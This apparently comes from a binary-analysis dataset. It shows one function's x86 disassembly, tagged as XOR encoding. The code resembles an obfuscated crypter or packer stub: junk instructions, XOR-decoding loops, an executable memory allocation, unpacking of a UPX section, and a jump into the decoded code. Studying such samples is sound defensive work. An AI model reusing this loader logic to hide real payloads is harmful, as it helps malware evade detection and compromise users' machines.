Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf938c0c0
mov edi, edx
and edi, edx
sub edx, 0x291c43a5
popal
sub edx, edi
sub edi, 0xc05d8b71
dec edx
mov edx, 0
mov ebx, esi
mov ecx, edi
add edi, ecx
add ecx, ecx
mov eax, ebx
and edi, edi
and ecx, ecx
or edi, ecx
mov esi, eax
sub ecx, 0xb2e52ab8
and ecx, ecx
mov ecx, 0x1e45f485
inc edx
sub ecx, edi
or edi, ecx
cmp edx, 0x100a651
jne 0xa789cb
and edi, edi
add edi, ecx
inc edx
add edi, 0xb7cc87ac
mov esi, 0xa78796
and edx, edx
sub ebx, edi
mov ecx, 0xa7898a
and edi, edx
add edi, ebx
mov eax, dword [esi]
and edx, ebx
dec edx
and eax, 0xff
sub edi, 0x9227af62
not edx
xor dword [ecx], eax
sub edx, ebx
mov ebx, edx
sub edi, 0x466c3935
add ecx, 1
not edx
and edi, edx
inc esi
mov edx, 0xcfc96775
or edi, ebx
cmp ecx, entry0
jl 0xa78a18
or edi, ebx
sub edx, 0xf9b422d2
add edx, 0xdde4cfa4
add edx, edi
dec ebx
add edi, edi
add ebx, edi
inc esi
mov edx, 0xa7898e
add edi, ebx
mov ecx, esi
add edi, 1
mov edx, dword [edx]
inc esi
and ebx, esi
mov edx, dword [edx]
add ecx, 1
sub edi, ebx
or ebx, ecx
push edx
sub esi, 0xf32d2c97
add ecx, 0x3da535fc
mov edx, 0xa7898a
sub ebx, esi
inc ebx
and esi, ebx
mov edx, dword [edx]
sub ebx, 1
or esi, edi
mov edx, dword [edx]
add ecx, ebx
not edi
not ebx
push 0xa78992
sub ecx, ebx
mov esi, 0xe2f6157d
and edi, esi
call edx
and ebx, esi
sub edi, 0x2d5c161c
not esi
pop edx
sub ecx, edi
not ecx
sub ebx, 0x2c58821
push 0xa7899f
mov ebx, 0x36da8d53
dec edi
sub edi, 1
push eax
and esi, ecx
sub ebx, 0xc0f13924
call edx
and ebx, esi
add ecx, edi
push 0x40
sub ebx, ecx
not ecx
inc ebx
push 0x3000
mov edi, ecx
or edi, ecx
push 0x20000422
not esi
sub ecx, 0x8226bfaf
sub ecx, 0x9377890b
push 0
sub ebx, ecx
sub edi, 0xa445ecb6
not esi
call eax
sub edi, 0x8d2b0926
add esi, 0xd61a7393
add eax, 0x200003b1
sub ecx, 0xe7683872
mov ebx, ecx
mov edx, 0xafd74e4
sub ecx, esi
dec esi
mov dword [eax], edx
and ebx, ebx
add esi, 1
mov edx, dword [eax]
mov ecx, edi
add ebx, edi
cmp edx, 0xafd74e4
je 0xa78b71
mov ecx, 0
mov ebx, dword [ecx]
add ecx, esi
inc ebx
inc ecx
add ebx, esi
sub edx, edi
or edx, edi
mov ebx, section.UPX1
mov edx, 0xca0e6fb1
not edx
mov edi, 0xdfcdac61
mov eax, 0xa78795
dec edx
sub edx, 0xe05a537d
sub edx, 1
mov esi, 0
sub edx, edi
dec edx
or edi, edi
mov ecx, 0xa78796
mov edx, 0x72acbc2a
dec edi
lea ecx, [ecx + esi]
inc edi
mov edx, 0x434873fa
add edi, 0x15ca6d01
mov ecx, dword [ecx]
inc edx
inc edi
and ecx, 0xff
inc edi
sub edx, edi
add edx, 1
inc esi
or edx, edi
not edx
cmp esi, 0x1f4
jne 0xa78be7
mov esi, 0
sub edi, 1
sub edx, edi
sub edi, 1
sub edi, 0x226d6b9c
add edx, 0xc448314a
xor dword [ebx], ecx
sub edx, edi
add edi, 0x157dabe1
mov edi, 0xbef7729e
add ebx, 2
mov edx, 0xe08011c7
add edi, 0xdd4b1e32
mov edi, 0xece7faf6
cmp ebx, eax
jl 0xa78ba8
or edi, edi
and edi, edx
dec edi
add edx, 0x5b0a9a79
mov edx, 0xe62efe8f
mov ecx, section.UPX1
mov eax, 0x18191c6b
add edi, edi
mov edi, 0xd7cc5152
mov ebx, section.UPX1
sub eax, edi
sub eax, 0xbc2fb02a
mov esi, 0xa78795
add eax, 0x26b48cae
and eax, eax
add edi, 0xf23242fe
mov edx, 0
mov edi, 0x964aeffd
and edi, eax
sub edi, eax
mov dl, byte [ebx]
not eax
sub edi, eax
mov byte [ecx], dl
sub eax, 0x7cd3c241
and edi, eax
sub eax, 0x4f69ca13
inc ecx
sub eax, 0x14973d99
add eax, edi
add ebx, 2
sub edi, eax
not eax
cmp ebx, esi
jle 0xa78c7d
sub edi, 1
and eax, edi
mov eax, edi
or edx, edx
sub edx, edi
sub esp, 4
mov dword [esp], 0x8dc6a0
mov edi, edx
add edx, 0x74190d54
ret